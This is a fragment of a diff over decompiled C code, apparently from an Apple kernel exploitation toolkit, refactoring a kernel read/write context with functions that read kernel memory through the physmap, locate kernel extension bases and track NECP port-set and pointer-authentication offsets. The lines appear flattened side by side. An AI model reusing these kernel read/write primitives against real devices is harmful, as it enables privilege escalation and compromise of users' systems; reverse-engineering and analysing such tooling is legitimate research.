has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_HAS_AUXKC_INFO); has_flag = krw_ctx_has_flag(ctx, KRW_CTX_FLAG_HAS_AUXKC_INFO);
v5 = 6648; v5 = 6648;
if ( !has_flag ) if ( !has_flag )
v5 = 7448; v5 = 7448;
@@ -24849,6 +24861,7 @@ __int64 __fastcall get_kext_base_addr(__int64 a1, char *__s, uint64_t *a3)
//----- (0000000000024620) ---------------------------------------------------- //----- (0000000000024620) ----------------------------------------------------
__int64 __fastcall find_macho_entry_by_name(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4) __int64 __fastcall find_macho_entry_by_name(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4)
{ {
struct_krwCtx *ctx; // x19
size_t v5; // x21 size_t v5; // x21
__int64 v8; // x0 __int64 v8; // x0
__int64 v9; // x0 __int64 v9; // x0
@@ -24873,6 +24886,7 @@ __int64 __fastcall find_macho_entry_by_name(__int64 a1, char *__s2, unsigned __i
__int128 v29[3]; // [xsp+18h] [xbp-98h] BYREF __int128 v29[3]; // [xsp+18h] [xbp-98h] BYREF
__int128 v30; // [xsp+48h] [xbp-68h] __int128 v30; // [xsp+48h] [xbp-68h]
ctx = KRWCTX_FROM_UINTPTR(a1);
v5 = a3; v5 = a3;
v8 = *(uint64_t *)(a1 + 6656); v8 = *(uint64_t *)(a1 + 6656);
if ( v8 ) if ( v8 )
@@ -24919,7 +24933,7 @@ LABEL_6:
} }
if ( kread_u32(a1, v15 + 20, &v26) if ( kread_u32(a1, v15 + 20, &v26)
&& v26 <= 0x400 && v26 <= 0x400
&& kread_physmap_decorated((struct_krwCtx *)a1, v15 + 32, (unsigned __int64 *)&v27) ) && kread_physmap_decorated(ctx, v15 + 32, (unsigned __int64 *)&v27) )
{ {
if ( validate_kaddr_range(a1, v27) ) if ( validate_kaddr_range(a1, v27) )
{ {
@@ -24934,15 +24948,15 @@ LABEL_6:
v21 = v27; v21 = v27;
v22 = v19 + 8; v22 = v19 + 8;
while ( kread_physmap_decorated( while ( kread_physmap_decorated(
(struct_krwCtx *)a1, ctx,
v21 + (unsigned int)(*(uint32_t *)(a1 + 360) * v20), v21 + (unsigned int)(*(uint32_t *)(a1 + 360) * v20),
(unsigned __int64 *)&v28) ) (unsigned __int64 *)&v28) )
{ {
if ( !validate_kaddr_range(a1, v28) ) if ( !validate_kaddr_range(a1, v28) )
break; break;
if ( !kread_physmap_decorated((struct_krwCtx *)a1, v28 + 80, (unsigned __int64 *)&v28) ) if ( !kread_physmap_decorated(ctx, v28 + 80, (unsigned __int64 *)&v28) )
break; break;
if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v28 + 16, 64, v29) ) if ( !(unsigned int)krw_read_thunk(ctx, v28 + 16, 64, v29) )
break; break;
HIBYTE(v30) = 0; HIBYTE(v30) = 0;
v23 = v29[1]; v23 = v29[1];
@@ -24951,7 +24965,7 @@ LABEL_6:
v24 = v30; v24 = v30;
v22[2] = v29[2]; v22[2] = v29[2];
v22[3] = v24; v22[3] = v24;
if ( !kread_physmap_decorated((struct_krwCtx *)a1, v28 + 156, (unsigned __int64 *)&v28) ) if ( !kread_physmap_decorated(ctx, v28 + 156, (unsigned __int64 *)&v28) )
break; break;
*((uint64_t *)v22 - 1) = v28; *((uint64_t *)v22 - 1) = v28;
++v20; ++v20;
@@ -25683,7 +25697,7 @@ bool __fastcall krw_ctx_has_read_caps(struct_krwCtx *ctx)
if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_SELF_TASK_IPC_OFFSET) if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_SELF_TASK_IPC_OFFSET)
&& KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_PTRAUTH_BASE_OFFSET) ) && KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_PTRAUTH_BASE_OFFSET) )
{ {
if ( *(uint8_t *)((char *)ctx + 11) ) if ( *(uint8_t *)(KRWCTX_RAW_PTR(ctx) + 11) )
{ {
v5 = 8388864; v5 = 8388864;
goto LABEL_16; goto LABEL_16;
@@ -25693,10 +25707,10 @@ bool __fastcall krw_ctx_has_read_caps(struct_krwCtx *ctx)
return 0; return 0;
} }
if ( KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) == -1 if ( KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) == -1
|| uuid_is_null((const unsigned __int8 *)((char *)ctx + KRW_CTX_NECP_UUID_OFFSET)) || uuid_is_null((const unsigned __int8 *)(KRWCTX_RAW_PTR(ctx) + KRW_CTX_NECP_UUID_OFFSET))
|| !KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) ) || !KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) )
return 0; return 0;
if ( !*(uint8_t *)((char *)ctx + 11) ) if ( !*(uint8_t *)(KRWCTX_RAW_PTR(ctx) + 11) )
return 1; return 1;
v5 = 134217984; v5 = 134217984;
LABEL_16: LABEL_16:
@@ -25914,7 +25928,7 @@ LABEL_42:
{ {
v8 = 0; v8 = 0;
KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) = v7; KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) = v7;
*(__int128 *)((char *)ctx + KRW_CTX_NECP_UUID_OFFSET) = *(__int128 *)&v38.__sig; *(__int128 *)(KRWCTX_RAW_PTR(ctx) + KRW_CTX_NECP_UUID_OFFSET) = *(__int128 *)&v38.__sig;
KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) = v35; KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) = v35;
} }
else else
@@ -25979,7 +25993,7 @@ __int64 __fastcall teardown_krw_thread(struct_krwCtx *ctx)
close(v9); close(v9);
KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) = -1; KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) = -1;
} }
*(__int128 *)((char *)ctx + KRW_CTX_NECP_UUID_OFFSET) = 0u; *(__int128 *)(KRWCTX_RAW_PTR(ctx) + KRW_CTX_NECP_UUID_OFFSET) = 0u;
KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) = 0; KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) = 0;
v10 = v12; v10 = v12;
goto LABEL_21; goto LABEL_21;